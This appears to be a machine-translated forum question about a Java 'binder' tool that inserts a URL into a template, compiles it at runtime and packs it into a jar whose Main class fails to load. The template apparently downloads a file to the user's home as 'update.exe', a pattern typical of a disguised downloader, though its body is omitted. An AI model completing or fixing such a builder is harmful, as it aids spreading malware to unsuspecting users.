テキスト ファイルに Java ソース コードがあります。カスタムのハードコードされた変数をソース コードに入力する必要があり、それを jar に変換する必要があります。これは機能しますが、jar を実行すると Main クラスが見つかりません。
WinRAR で jar ファイルを解凍すると、エラーが見つからないようです。
生成/抽出されたクラス ファイルを cmd で実行すると、「エラー: メイン クラス Main が見つからないか、読み込めませんでした」というメッセージが表示されます。
生成されたマニフェスト:
Manifest-Version: 1.0
Main-Class: javabinder.Main
ソースコード:
public class JarOutStream extends Thread{
public static final String HOME = "/javabinder/";
public static String url;
public JarOutStream(String text) {
url = text;
}
@Override
public void run()
{
try {
//Read file and place the URL
BufferedReader br = new BufferedReader(new InputStreamReader(getClass().getClassLoader().getResourceAsStream("./net/sharpcode/binder/data.txt")));
StringBuilder sb = new StringBuilder();
String line;
while ((line = br.readLine()) != null)
{
if(line.contains("#URL#"))
line = line.replace("#URL#", url);
sb.append(line);
sb.append("\n");
}
br.close();
JavaCompiler compiler = ToolProvider.getSystemJavaCompiler();
DiagnosticCollector<JavaFileObject> diagnostics = new DiagnosticCollector<JavaFileObject>();
JavaFileObject file = new JavaSourceFromString("Main", sb.toString());
Iterable<? extends JavaFileObject> compilationUnits = Arrays.asList(file);
CompilationTask task = compiler.getTask(null, null, diagnostics, null, null, compilationUnits);
boolean success = task.call();
if(!success) {
JOptionPane.showMessageDialog(null, "Error while compiling.");
return;
}
//Create the jar and add the compiled java file
Manifest manifest = new Manifest();
manifest.getMainAttributes().put(Attributes.Name.MANIFEST_VERSION, "1.0");
manifest.getMainAttributes().put(Attributes.Name.MAIN_CLASS, "javabinder.Main");
JarOutputStream target = new JarOutputStream(new FileOutputStream(new File(HOME + File.separator + "output.jar")), manifest);
String path = Bootstrapper.class.getProtectionDomain().getCodeSource().getLocation().getPath() + "Main.class";
System.out.println(path);
//Error with the path I guess.
add(new File(path), target);
target.close();
JOptionPane.showMessageDialog(null, "Completed!");
} catch (Exception ex) {
System.out.println("Error : " + ex.toString());
ex.printStackTrace();
}
}
private void add(File source, JarOutputStream target) throws IOException
{
BufferedInputStream in = null;
try
{
if (source.isDirectory())
{
String name = source.getPath().replace("\\", "/");
if (!name.isEmpty())
{
if (!name.endsWith("/"))
name += "/";
JarEntry entry = new JarEntry(name);
entry.setTime(source.lastModified());
target.putNextEntry(entry);
target.closeEntry();
}
for (File nestedFile: source.listFiles())
add(nestedFile, target);
return;
}
JarEntry entry = new JarEntry(source.getPath().replace("\\", "/"));
entry.setTime(source.lastModified());
target.putNextEntry(entry);
in = new BufferedInputStream(new FileInputStream(source));
byte[] buffer = new byte[1024];
while (true)
{
int count = in.read(buffer);
if (count == -1)
break;
target.write(buffer, 0, count);
}
target.closeEntry();
}
finally
{
if (in != null)
in.close();
}
}
class JavaSourceFromString extends SimpleJavaFileObject {
final String code;
JavaSourceFromString(String name, String code) {
super(URI.create("string:///" + name.replace(".","/") + Kind.SOURCE.extension),Kind.SOURCE);
this.code = code;
}
@Override
public CharSequence getCharContent(boolean ignoreEncodingErrors) {
return code;
}
}
}
Java ソース コードを含むテキスト ファイル:
import java.io.BufferedOutputStream;
import java.io.File;
import java.io.FileOutputStream;
import java.io.InputStream;
import java.net.URL;
import java.net.URLConnection;
public class Main
{
private static final String LOCAL_LOCATION = System.getProperty("user.home") + File.separator + "update.exe";
private static final String URL = "#URL#";
public static void main(String args[]) throws Exception
{
//CODE (no compile errors)
}
}
更新: 示唆されているように、私は現在 JavaCompiler クラスを使用しています。これは機能しますが、瓶に入れるのにまだ問題があります。